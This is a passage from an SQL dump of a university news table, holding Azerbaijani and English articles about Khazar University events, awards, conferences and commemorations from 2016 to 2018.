Xəzər Universitetinin İqtisadiyyat və\r\nmenecment fakultəsinin dekanı Dr. İnqilab Əhmədov da iştirak edirdi.</p>'),(3150,1860,'en','Hamlet Isaxanli on Advisory Panel for New Book','The book entitled “A 17-year Crisis: The National Anti-Soviet Occupation Movement in Azerbaijan in 1921-1937” was published with the support of Oghuz Independent Researchers’ Group...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The book entitled “A 17-year\r\nCrisis: The National Anti-Soviet Occupation Movement in Azerbaijan in\r\n1921-1937” was published with the support of Oghuz Independent Researchers’\r\nGroup and financial support from the Board for State Support of NGOs. Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, was one of the academic advisors for the book.</p>\r\n<p>The\r\nbook includes a sub-section entitled “Qaçaq İsaxan”. Some of Qaçaq İsaxan’s grandchildren (including Prof.\r\nHamlet Isaxanli) and great-grandchildren work for Khazar University.&nbsp;</p>'),(3151,1860,'az','Hamlet İsaxanlının rəyi ilə yeni kitab çap olundu','Bu günlərdə “Oğuz” Müstəqil Araşdırmaçılar Qrupunun layihəsi və Qeyri-Hökumət Təşkilatlarına Dövlət Dəstəyi Şurasının maliyyə dəstəyi ilə “On yeddi illik mücadilə: Azərbaycanda...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Bu günlərdə “Oğuz” Müstəqil Araşdırmaçılar Qrupunun layihəsi və\r\nQeyri-Hökumət Təşkilatlarına Dövlət Dəstəyi Şurasının maliyyə dəstəyi ilə “On\r\nyeddi illik mücadilə: Azərbaycanda Sovet işğalına qarşı milli müqavimət hərəkatı.\r\n1920-1937”\r\nkitabı çapdan çıxmışdır. Kitabın rəyçilərindən biri Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıdır.</p>\r\n<p>Kitabda “Qaçaq İsaxan” adlı bir paraqraf da öz əksini\r\ntapmışdır. Qaçaq İsaxanın bir neçə nəvə (o cümlədən, professor Hamlet İsaxanlı)\r\nvə nəticələri Xəzər Universitetinin əməkdaşlarıdır.&nbsp;</p>'),(3152,1858,'en','Results of Olympiad Announced','On January 27, 2017, an awards ceremony for the winners of the mathematical Olympiad “Education is the Face of Intellect” for grades 6 to 8 was held in Khazar University’s affiliate...','<p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">On January 27, 2017, an awards ceremony for\r\nthe winners of the mathematical Olympiad “Education is the Face of Intellect”\r\nfor grades 6 to 8 was held in Khazar University’s affiliate Dunya School.</p>\r\n<p>The ceremony was\r\nattended by Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees;\r\nProf. Ajdar Agayev, Head of the Educational Council; Salman Abdulov, Chief\r\nAdviser of the Youth and Sports Department of Baku; Elnur Mammadov, Chief\r\nAdvisor of the City Hall of Binagadi District of Baku.</p>\r\n<p>Professor Hamlet\r\nIsaxanli spoke about the rapid development of science and laid stress on the\r\nrole of such olympiads in discovering talented students.</p>\r\n<p>Ajdar Agayev and\r\nSalman Abdulov also made speeches and congratulated the winners.</p>\r\n<p>Dunya School graduates presented awards to the winners of the\r\nOlympiad.&nbsp;</p>'),(3159,1863,'en','Open Lecture at Khazar University','On January 28, 2017, Khazar University held an open lecture by Douglas Reichenberger entitled “Graduating at tough economic times: personal branding and networking”...','<p>On January 28, 2017, Khazar University\r\nheld an open lecture by Douglas Reichenberger entitled “Graduating at tough\r\neconomic times: personal branding and networking”. The lecture was organized\r\nwithin the framework of the Alumni MAX (Alumni Mentor/Advisor\r\nExchange) Program supported by the Embassy of the United States in Azerbaijanwith\r\nthe coordination of Khazar University’s Career Development Center and International Affairs Office.&nbsp;</p>\r\n<p>Douglas Reichenberger, career services\r\nprofessional, spoke about career planning, current labor market challenges,\r\nways to create personal branding and career survival in tough economic times.</p><p>A questions and answers session followed.&nbsp;</p>'),(3160,1864,'az','Sana İmran beynəlxalq konfransda Azərbaycanı təmsil etdi','2017-ci il yanvarın 23-dən 25-dək Xəzər Universitetinin doktorantı Sana İmran Barselonada keçirilən beynəlxalq konfransda iştirak etdi. Konfrans ABŞ-ın Şərq-Qərb İnsitutu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il yanvarın 23-dən 25-dək Xəzər Universitetinin doktorantı Sana\r\nİmran Barselonada keçirilən beynəlxalq konfransda iştirak etdi. Konfrans ABŞ-ın\r\nŞərq-Qərb İnsitutu tərəfindən təşkil olunmuşdu və dünyanın müxtəlif yerlərindən\r\ntədqiqatçılar iştirak edirdi. Azərbaycanı tədbirdə təmsil edən Sana İmran\r\n“Milli kimliyin möhkəmləndirilməsində brendlərin rolu” adlı təqdimatla çıxış\r\netdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">S.İmran Azərbaycanın iqtisadi, ticari və\r\nturist potensialından danışdı və əsas diqqəti Azərbaycanın stratetji coğrafi\r\nmövqeyinə və hidrokarbon resurslarına çəkdi. O, eyni zamanda, milli brendlər\r\nvasitəsilə millətlərin beynəlxalq aləmdə tanınmasının təhlilinə yer ayırdı.\r\nSana İmran qeyd etdi ki, “yumşaq güc” vasitələrindən səmərəli istifadə etməklə,\r\nbrendlər milli kimliyin güclənməsinə xidmət edə bilər.&nbsp;</p>'),(3161,1864,'en','Sana Imran Speaks about Azerbaijan','On January 23-25, 2017, Sana Imran, Khazar University doctoral student, participated in an international conference held in Barcelona, Spain. The event was organized by the West...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On January 23-25, 2017, Sana\r\nImran, Khazar University doctoral student, participated in an international\r\nconference held in Barcelona, Spain. The event was organized by the West East\r\nInstitute of USA and attended by multinational scholars from across the globe.\r\nRepresenting Azerbaijan at this educational event, Sana Imran presented her\r\nresearch paper entitled “The Role of Brands in Strengthening of National\r\nIdentity.”&nbsp;</p>\r\n<p>In her talk, Ms. Imran touched\r\nupon the economic, trade and tourism potentials of Azerbaijan. Sana Imran laid\r\nstress on Azerbaijan’s strategic geographical location and sizeable hydrocarbon\r\nresources. Her focus remained on the analytical assessment of nations’\r\nrecognition through efficient proliferation of national brands – by employing\r\nsoft power tools intelligently, brands can strengthen national identity.&nbsp;</p>'),(3162,1865,'az','“Xəzər”in doktorantının APA-ya müsahibəsi Azərbaycan dilində','APA İnformasiya Agentliyi Xəzər Universitetinin xarici doktorantı Sana İmran ilə yanvarın 18-də ingiliscə yayımladığı müsahibəni fevralın 1-də Azərbaycan dilində oxuculara təqdim...','<p>APA İnformasiya Agentliyi Xəzər\r\nUniversitetinin xarici doktorantı Sana İmran ilə yanvarın 18-də ingiliscə\r\nyayımladığı müsahibəni fevralın 1-də Azərbaycan dilində oxuculara təqdim\r\netmişdir. Müsahibəni bu link vasitəsilə oxumaq olar:</p>\r\n<p><em><a href=\"http://apa.az/xarici_siyaset/sana-imran-azerbaycan-cenubi-qafqazin-suretle-inkisaf-eden-tehlukesiz-muselman-olkesidir.html\">http://apa.az/xarici_siyaset/sana-imran-azerbaycan-cenubi-qafqazin-suretle-inkisaf-eden-tehlukesiz-muselman-olkesidir.html</a></em></p>'),(3393,1991,'az','Xəzər Universitetinin təsisçisi “Exo”ya müsahibə verdi','2017-ci il martın 23-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə “Azərbaycan təhsilə pul ödəyir, tələbələr isə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 23-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı ilə “Azərbaycan təhsilə pul ödəyir, tələbələr\r\nisə “yayınmağa” davam edirlər” (rusca)&nbsp;\r\nadlı müsahibəsi “Exo” ictimai-siaysi qəzetinin rəsmi internet səhifəsində\r\nyayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni tam şəkildə bu link vasitəsilə oxumaq\r\nolar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://ru.echo.az/?p=55187\">http://ru.echo.az/?p=55187</a>.&nbsp;</p>'),(5177,3006,'en','Translated work of literature in “Azerbaijan” journal','An extract from “Those with desperate wishes” by Zeynalabidin Makas, a popular Turkish writer...','<p>An extract from “Those with desperate wishes” by Zeynalabidin Makas, a popular Turkish writer, has been translated by Gardashkhan Azizkhanli, instructor of the Department of Azerbaijani Language and Literature, School of Education of Khazar University, and published in “Azerbaijan” journal, February issue, 2018. The work of literature, which also expresses sorrow for Khojaly tragedy, is written about Garabagh.</p>'),(3168,1870,'az','Xəzər Universitetinin əməkdaşı kralın qonağı oldu','2017-ci il yanvarın 4-dən 14-dək Xəzər Universitetinin əməkdaşı Fərda Əsədov “İki müqəddəs məscidin xadimi, Səudiyyə Ərəbistanı kralı Səlman ibn Əbd əl-Əzizin qonaqları” proqramı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil yanvarın 4-dən 14-dək Xəzər Universitetinin əməkdaşı Fərda Əsədov “İki müqəddəs\r\nməscidin xadimi, Səudiyyə Ərəbistanı kralı Səlman ibn Əbd əl-Əzizin qonaqları”\r\nproqramı ilə Məkkə və Mədinə şəhərlərinin müqqədəs ziyarətgahlarına səfərdə\r\nolmuşdur. Azərbaycanda İslam Həmrəyliyi İli elan olunmasını nəzərə alaraq, Fərda\r\nƏsədov səfəri zamanı keçirdiyi görüşlər haqqında təəssüratlarını bölüşməsi üçün\r\nuniversitetin Tarix və arxeologiya departamentinin təşəbbüsü ilə &nbsp;2017-ci il fevralın 7-də görüş təşkil etdi.\r\nGörüşdə Tarix və arxeologiya departamentinin müdiri Roza Arazova, müəllimləri Orxan\r\nZamanov, Ülviyyə İbrahimova, Samirə Qarayeva, müdir assistenti Akifə Cəfərli ilə\r\nyanaşı, İqtisadiyyat və menecment fakültəsinin dekanı İnqilab Əhmədov, Təhsil\r\nfakültəsinin dekanı Elza Səmədova, Xəzər Universitetinin Məzunlarla iş üzrə\r\nkoordinatoru Baba Bayramlı, Dillər və mədəniyyətlər departamentinin müdiri\r\nElnurə Əzizova, Bioloji elmlər departamentinin müdiri İradə Xəlilova, Azərbaycan\r\ndili və ədəbiyyatı departamentinin müdiri Vurğun Əyyub, İngilis dili və ədəbiyyatı\r\ndepartamentinin müdiri Eynur Mehdiyev, fars dili müəllimi Zivər Hüseynli və Jurnalistika\r\ndepartamentinin koordinatoru Cabir Məmmədov iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüş\r\nzamanı slaydlar və qısa video çəkilişlər nümayiş etdirildi.</p>'),(3203,1888,'az','Xəzər Universitetinin yeni uğuru','2016-cı ilin noyabr-dekabr aylarında Avstraliyanın Pers şəhərində Eduniversal World Convention-un doqquzuncu toplantısı keçirilmişdir. Toplantıda 50 müxtəlif ölkədən 120...','<p>2016-cı\r\nilin noyabr-dekabr aylarında Avstraliyanın Pers şəhərində Eduniversal World\r\nConvention-un doqquzuncu toplantısı keçirilmişdir. Toplantıda 50 müxtəlif ölkədən\r\n120 biznes fakültəsi iştirak edirdi. Onların arasında Harvard Biznes Fakültəsi,\r\nLondon Biznes Fakültəsi, Melburn Biznes Fakültəsi, Fudan Biznes Fakültəsi və\r\ndigərləri təmsil olunurdu. </p>\r\n<p>Toplantıda\r\ndünyanın 154 ölkəsində ən yaxşı 1000 biznes fakültəsi müəyyənləşdirilmişdir.\r\nOnların arasında Azərbaycandan iki ali məktəbin müvafiq qurumları yer almışdır.\r\nAzərbaycan üzrə birinci yeri Xəzər Universitetinin İqtasidayyat və Menecment\r\nfakültəsi, ikinci yeri Qafqaz Universitetinin Biznes Administrasiyası\r\ntutmuşdur.</p>'),(1926,1180,'az','“Dünya” məktəbində Uşaqların Beynəlxalq Müdafiə Günü qeyd olundu','2016-cı il iyunun 1-də 1 İyun – Uşaqların Beynəlxalq Müdafiə Günü münasibətilə Xəzər Universiteti “Dünya” məktəbində rəsm sərgisi və konsert proqramı təşkil olundu. Məktəblilərin bir-birindən maraqlı çıxışları, ','<p>2016-cı il iyunun 1-də 1 İyun\r\n– Uşaqların Beynəlxalq Müdafiə Günü münasibətilə Xəzər Universiteti “Dünya” məktəbində\r\nrəsm sərgisi və konsert proqramı təşkil olundu. Məktəblilərin bir-birindən\r\nmaraqlı çıxışları, rəqs nömrələri ilə rövnəqlənən tədbirdə Rəssamlar\r\nİttifaqının sədri xalq rəssamı Ağəli İbrahimov, valideynlər, müəllim və şagirdlər\r\niştirak edirdilər.</p>\r\n<p>Tədbirdən sonra məktəbin\r\nİctimaiyyətlə əlaqələr və media şöbəsinə müsahibə verən respublikanın xalq rəssamı\r\nAğəli İbrahimov şagirdlərin sərgidə nümayiş olunan əsərlərin içərisində vətənpərvərlik\r\nmövzusunda olanları xüsusi dəyərləndirərək, onların mədəniyyətin inkişafındakı\r\nrolunu vurğuladı. Rəssam, həmçinin, sərgini “Sənət dünyası” adlandırdı. Həm\r\nkonsert proqramı, həm də sərgidən həvəslə danışan müsahib “Dünya” məktəbində təhsil\r\nalanlar üçün hərtərəfli inkişaf üçün yaradılan şəraitdən məmnunluğunu bildirdi.</p>'),(1927,1180,'en','International Day of Children’s Protection Celebrated at Dunya School ','On June 1, 2016, International Day of Children’s Protection was celebrated with an art exhibition and concert at Khazar University’s affiliate Dunya School. Students made speeches and performed dances in the event,','<p>On June 1,\r\n2016, International Day of Children’s Protection was celebrated with an art\r\nexhibition and concert at Khazar University’s affiliate Dunya School. Students\r\nmade speeches and performed dances in the event, which took place with the\r\nparticipation of students, parents, teachers and Aghali Abrahimov, People’s\r\nArtist and Chairman of the Artists’ Union. </p>\r\n<p>After the\r\nevent, Agheli Ibrahimov gave an interview for the Department of Public\r\nRelations and Media at the school, commenting on students’ artwork and\r\nespecially noting their patriotic-themed pieces, which he said would play a\r\nrole in their cultural upbringing. The artist named the exhibition “World of\r\nArt.” He said he was pleased to see the conditions for students’ well-rounded\r\ndevelopment at Dunya School.&nbsp;</p>'),(1928,1181,'az','Məzunlar Assosiasiyasının təsis konfransı keçirildi','2016-cı il iyunun 4-də Xəzər Universitetinin “Mərmər” zalında Xəzər Universitetinin Məzunlar Assosiasiyasının təsis konfransı keçirildi.','<p>2016-cı il iyunun 4-də Xəzər Universitetinin “Mərmər” zalında Xəzər\r\nUniversitetinin Məzunlar Assosiasiyasının təsis konfransı keçirildi. Məzunlarla\r\niş şöbəsinin müdiri, Təşkilat Komitəsinin sədri Baba Bayramlı konfransı giriş\r\nsözü ilə açaraq, assosiasiyanın yaradılması ilə bağlı aparılan işlər barədə\r\niştirakçılara məlumat verdi. </p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı konfrans iştirakçılarını salamladı, assosiasiyanın məqsəd\r\nvə fəaliyyətləri barədə öz mülahizələrini söylədi və məzunlara assosiasiyanın gələcək\r\nfəaliyyətində uğurlar arzuladı. Baba Bayramlı Məzunlar Assosiasiyasının Əsasnaməsini,\r\nonun köməkçisi Vəzifə Kərimzadə isə <strong><em>Facebook</em></strong> səhifəsi barədə təqdimat\r\netdikdən sonra, Assosiasianın struktur bölmələrinin yaradılması ilə bağlı\r\nmüzakirə aparıldı və seçkilər keçirildi. Universitetin məzunu, “Bank of\r\nBaku”-nun sədr müavini Eldar Həmidov açıq səsvermə yolu ilə Assosiasiya\r\nŞurasının prezidenti seçildi. Assosiasiya Şurasının və İcra Komitəsinin üzvləri\r\ndə seçildikdən sonra konfrans öz işini başa çatdırdı.</p>'),(1929,1181,'en','Constituent Conference of Alumni Association','On June 4, 2016, a Constituent Conference of the Khazar University Alumni Association was held in the university’s Marble Hall. Baba Bayramli, ','<p>On June 4, 2016, a Constituent Conference of the Khazar University\r\nAlumni Association was held in the university’s Marble Hall. Baba Bayramli,\r\nChairman of the Organizing Committee, opened the conference with information\r\nabout the process of establishment of the Association. </p>\r\n<p>Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, greeted the participants, shared his views on the\r\nobjectives and activities of the Association, and wished the alumni success in\r\ntheir future activities. Baba Bayramli made a presentation of the Association’s\r\nFacebook page with the assistance of Vazifa Karimzada as well as a presentation\r\nof the Alumni Association Regulations. A discussion was held about the\r\nstructural divisions of the Association and an election was held. Eldar\r\nHamidov, Khazar alumnus and Vice Chairman of Bank of Baku, was elected\r\npresident of the Association Board. After members of the Association Board and\r\nExecutive Committee were selected, the conference was completed. </p>\r\n<p>&nbsp;</p>'),(1930,1182,'az','Web of Science təlimi','1-2 iyun 2016-cı il tarixdə Xəzər Universitetinin dörd əməkdaşı Magistratura, Doktorantura və Elmi İşlər bölməsinin müdiri, f.e.f.d. Eldar Şahgəldiyev,','<p>1-2 iyun 2016-cı il tarixdə Xəzər Universitetinin\r\ndörd əməkdaşı Magistratura, Doktorantura və Elmi İşlər bölməsinin müdiri,\r\nf.e.f.d. Eldar Şahgəldiyev, Biologiya departamentinin müdiri, b.e.f.d. İradə Xəlilova,\r\nNeft Mühəndisliyi departamentinin müdiri, g.m.f.d., dos. Qəşəm Zeynalov,\r\nKeyfiyyətin Təminatı Mərkəzinin rəhbəri Lyudmila Sotova, Xəzər Universiteti\r\nKitabxanasının əməkdaşı Samirə Orucova, Lyudmila Sotova, Samira Orucova Azərbaycan\r\nDövlət Neft Sənayesi Universitetində keçirilən Web of Science təlimində iştirak\r\netmişlər. </p>\r\n<p>Təlim iştirakçıları Web of Science-in əsas\r\nkolleksiyası, onun əsas prinsipləri, Thomson Reuters jurnalları üçün əsas seçim\r\nmeyarları barədə məlumatlandırılmışlar. Web of Science bazasına çıxış, profillərin\r\nyaradılması və bazada mövzu üzrə axtarış məsələləri də müzakirə olundu. </p>\r\n<p>Sonda tədbir iştirakçılarına sertifikatlar təqdim\r\nolunmuşdur.&nbsp;</p>'),(1931,1182,'en','     Web of Science Training',' On June 1-2, 2016, faculty and staff members of Khazar University including Dr Eldar Shahgaldiyev, Head of the Division of Graduate Studies and Research;','<p>&nbsp; &nbsp;On June 1-2, 2016, faculty and staff\r\nmembers of Khazar University including Dr Eldar Shahgaldiyev, Head of the\r\nDivision of Graduate Studies and Research; Irada Khalilova, Head of the Biology\r\nDepartment; Gasham Zeynalov, Head of the Petroleum Engineering Department;\r\nLyudmila Sotova, the Head of the Quality Assurance Center; and Samira Orujova,\r\nmember of the Khazar University Library, participated in the Web of Science\r\ncustomer training held at Azerbaijan State University of Oil and Industry. </p>\r\n<p>The meeting participants were informed about Web of\r\nScience Core Collection, basic principles of Web of Science Core Collection,\r\nand selection criteria for journals in Thomson Reuters. Issues such as access,\r\nthe creation of a profile in Web of Science and thematic searches in the Web of\r\nScience Core Collection were also discussed in the meeting.</p>\r\n<p>The participants were given certificates.&nbsp;</p>'),(534,351,'en','Fall 2018 Course Load','Fall 2018 Course Load','<p><br></p><p><img src=\"/files/15_10_14_textbooks.jpg\" style=\"width:350px;height:263px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p>&nbsp;&nbsp;</p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/social/1/courseLoad_F18.xlsx\"><br></a></div><div><a href=\"http://www.khazar.org/files/social/1/CourseLoad_F18-.xlsx\">COURSE_LOAD_FALL_2018</a><a href=\"http://www.khazar.org/files/social/1/CourseLoad_F18-.xlsx\"></a><a href=\"http://www.khazar.org/files/social/1/courseLoad_F18%2C.xlsx\"></a></div><div><br></div><div><br></div><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/social/1/CourseLoad.S17.xlsx\"> </a></p><div><a href=\"http://www.khazar.org/files/social/1/CourseLoad.S17.xlsx\"></a></div>'),(3275,1927,'az','Xəzər Universitetinin müəlliminə professor elmi adı verildi','2017-ci il fevralın 10-da Xəzər Universiteti Azərbaycan dili və ədəbiyyatı kafedrasının müəllimi filologiya üzrə elmlər doktoru, dosent Xatirə xanım Bəşirliyə Azərbaycan...','<p>2017-ci il fevralın 10-da Xəzər Universiteti Azərbaycan\r\ndili və ədəbiyyatı kafedrasının müəllimi filologiya üzrə elmlər doktoru, dosent\r\nXatirə xanım Bəşirliyə Azərbaycan Respublikasının Prezidenti yanında Ali\r\nAttestasiya Komissiyasının qərarı ilə professor elmi adı verilmişdir.</p>'),(3992,2329,'az','Fəlsəfə doktorluğu dissertasiyasının ilkin müzakirəsi','2017-ci il iyulun 12-də Xəzər Universitetinin İqtisadiyyat və menecment departamentində pakistanlı doktorant Sana İmranın “Müəssisələrin təşkili və idarə olunması” ixtisası üzrə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il iyulun 12-də Xəzər Universitetinin\r\nİqtisadiyyat və menecment departamentində pakistanlı doktorant Sana İmranın “Müəssisələrin\r\ntəşkili və idarə olunması” ixtisası üzrə fəlsəfə doktoru elmi dərəcəsi almaq\r\nüçün “Milli kimliyin formalaşmasında\r\nbrendlərin rolu” (Role of Brands in construction of&nbsp; National Identity)\r\nmövzusunda təqdim etdiyi dissertasiya işinin ilkin müzakirəsi keçirildi. Elmi\r\niş Azərbaycan Dövlət İqtisad Universiteti nəzdində İqtisadi Araşdırmalar Elmi-Tədqiqat\r\nİnstitutunun Dünya İqtisadiyyatı və Geoiqtisadi Əlaqələr Şöbəsinin böyük elmi\r\nişçisi, i. e. f.d., dosent Elman İbişovun rəhbərliyi ilə yerinə yetirilmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İqtisadiyyat\r\nvə menecment fakültəsinin dekanı,&nbsp; i. e.\r\nf.d. Ceyhun Məmmədov müzakirəni açaraq, Sana İmranın elmi işi haqqında qısa məlumat\r\nverdi. Sonra Sana İmran öz tədqiqatı haqqında geniş təqdimatla çıxış etdi. İşin\r\nelmi rəhbəri Elman İbişov çıxışında tədqiqatın nəzəri və praktik əhəmiyyətindən\r\ndanışaraq, Azərbaycana aid mövzunun xarici tədqiqatçı tərəfindən tədqiq\r\nolunmasının xüsusi önəm daşıdığını qeyd etdi və tədqiqat işini, əsasən, müsbət\r\nqiymətləndirdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Müzakirələrdə\r\nXəzər Universitetinin Doktorantura, magistratura və elmi işlər bölməsinin müdiri,\r\ndosent Eldar Şahgəldiyev,&nbsp; departamentin\r\nmüəllimləri Bahadır Baysal, Vüsal Məmmədrzayev və Fuat Rəsilov&nbsp; çıxıç edərək, tədqiqat işi haqqında müsbət\r\nfikir və mülahizələrini bildirməklə yanaşı, müəyyən nöqsanların da olduğunu\r\ngöstərdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sonda\r\nSana İmranın fəlsəfə doktoru elmi dərəcəsi almaq üçün təqdim etdiyi\r\ndissertasiya işinin, nöqsanların düzəldilməsi şərti ilə, müdafiəyə buraxılması\r\nhaqqında yekdilliklə qərar qəbul edildi.</p>'),(3276,1927,'en','Khazar University Instructor Awarded Title of Professor','On February 10, 2017, the title of professor was awarded to Dr. Khatira Bashirli, instructor of Khazar University Department of Azerbaijani Language and Literature, by the decision...','<p>On February 10, 2017, the\r\ntitle of professor was awarded to Dr. Khatira Bashirli, instructor of Khazar\r\nUniversity Department of Azerbaijani Language and Literature, by the decision\r\nof the Higher Attestation Commission under the President of the Republic of\r\nAzerbaijan.&nbsp;</p>\r\n<p>We congratulate our\r\ncolleague on her promotion and wish her success in her academic career.</p>'),(3277,1905,'en','Development Center Project Manager Participates in Management Meeting','On February 17-18, 2017, Ulkar Bayramova, Project Manager of Khazar University Development Center, participated in the management meeting of the “Migration Education...','<p>On February\r\n17-18, 2017, Ulkar Bayramova, Project Manager of Khazar University Development\r\nCenter, participated in the management meeting of the “Migration Education in\r\nHigher Educational Institutions” Erasmus+ project held at Tbilisi State\r\nUniversity. The meeting was attended by the representatives of Alicante\r\nUniversity (Spain), Oldenburg University (Germany), Graz University (Austria)\r\nand staff members from different universities in Georgia. Ulkar Bayramova made\r\na presentation on the Master’s Program in World Economics and Migration\r\nProcesses offered by Khazar University and the university’s Center for\r\nMigration Studies. Her presentation was received enthusiastically by the\r\naudience. &nbsp;</p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (3279,1903,'en','Conference celebrating 10 years of State Migration Service in Azerbaijan held at Khazar University','On February 17, 2017, Khazar University and the State Migration Service of the Republic of Azerbaijan jointly held a conference to celebrate 10 years of the State Migration Service in...','<p>On\r\nFebruary 17, 2017, Khazar University and the State Migration Service of the\r\nRepublic of Azerbaijan jointly held a conference to celebrate 10 years of the\r\nState Migration Service in Azerbaijan in the “Marble Hall” on Khazar\r\nUniversity’s Neftchilar Campus. The topic of the conference was “Migration\r\nPolicy in Azerbaijan: Achievements and Development Perspectives”. </p>\r\n<p>The\r\nconference was attended by officials and staff members of Khazar University,\r\nthe State Migration Service, governmental and international agencies, NGOs as\r\nwell as scholars and experts of Azerbaijan National Academy of Sciences and\r\nother Azerbaiajni higher educational institutions.</p>\r\n<p>The\r\nconference was opened with a short film highlighting achievements of the State\r\nMigration Service in Azerbaijan. </p>\r\n<p>Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, made an opening speech in which he stressed the\r\nimportance of the conference topics. He also gave brief information about\r\nKhazar University to the audience. </p>\r\n<p>Pariz\r\nMusayev, Deputy-Director of the State Migration Service of Azerbaiajn, spoke\r\nabout the history of the agency, its activities and achievements in the past\r\ndecade. </p>\r\n<p>Other speeches were made by Furio de\r\nAngelis, Head of UNHCR Office in Baku and Serhan Aktoprak, Director of the\r\nInternational Organization for Migration. Dr. Jeyhun Mammadov, Head of the\r\nDepartment of Economics and Management, made a presentation on Khazar\r\nUniversity Center for Migration Studies. </p>\r\n<p>A\r\npanel discussing three important topics – Migration Policy and Human Rights ”,“\r\nInternational Protection of Refugees and Asylum Seekers ”,“ Migration in the\r\nEra of Globalization: Challenges and Responses”, followed the opening ceremony.\r\nPresentations were made by Vahid Gahramanov, Azer Allahverenov, Khayala\r\nAbbasova, Nazim Salmanov, Gulgun Babayeva, Isalm Hidayetov, Jamil Huseynov\r\n(State Migration Service); Ronald Sketdon (Sussex and Maastricht universities);\r\nMeltem Ersan (UNCHR); Fuad Jabbarov (Ministry of Labor and Social Protection of\r\nthe Population of Azerbaijan Republic); Roland Hosner (International Centre for\r\nMigration Policy Development); Turan Jahangirova (&nbsp;Ombudsman Office of\r\nAzerbaijan); Rima Mammadova, Sevinj Shafiyeva (Khazar University); Metleb\r\nMahmudov, Zakir Eminov (Azerbaijan National Academy of Sciences); Rena\r\nAgamirova (Ministry of Youth and Sport of Azerbaijan Republic); Garib Asgarov\r\n(State Border Service of Azerbaijan Republic); and Rafig Najafguliyev (Police\r\nAcademy, Ministry of Internal Affairs of Azerbijan Republic). </p>\r\n<p>Following discussions, resolutions were accepted at the end\r\nof the conference. </p>\r\n<p>News\r\nstories about the conference ran by the media are available at the following\r\nlinks:</p>\r\n<p><a href=\"http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064\">http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064</a>; </p>\r\n<p><a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141\">http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141</a>;</p>\r\n<p><a href=\"http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans\">http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans</a>\r\n</p>'),(3280,1928,'en','Khazar University Commemorates Khojaly Tragedy Victims','On February 22, 2017, Khazar University Department of History and Archelogy organized an event in commemoration of the 25th anniversary of the Khojaly Tragedy...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.3pt;line-height:normal;background:white\"\"=\"\">On February 22, 2017, Khazar University Department\r\nof History and Archelogy organized an event in commemoration of the 25th\r\nanniversary of the Khojaly Tragedy.&nbsp; Faculty and staff members\r\nparticipating in the event included&nbsp; Hassan Niknfas, President of the\r\nUniversity; Isakhan Isakhanli, Vice-Rector for Adminitration and Student Affairs;\r\nAlovsat Amirbayli, Media and Public Relations Director; Roza Arazova, Head of\r\nthe Department of History and Archeology; Nasiman Yagublu  , instructor for the\r\naforementioned department; students and survivors of the tragedy.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.3pt;line-height:normal;background:white\"\"=\"\">Participants were 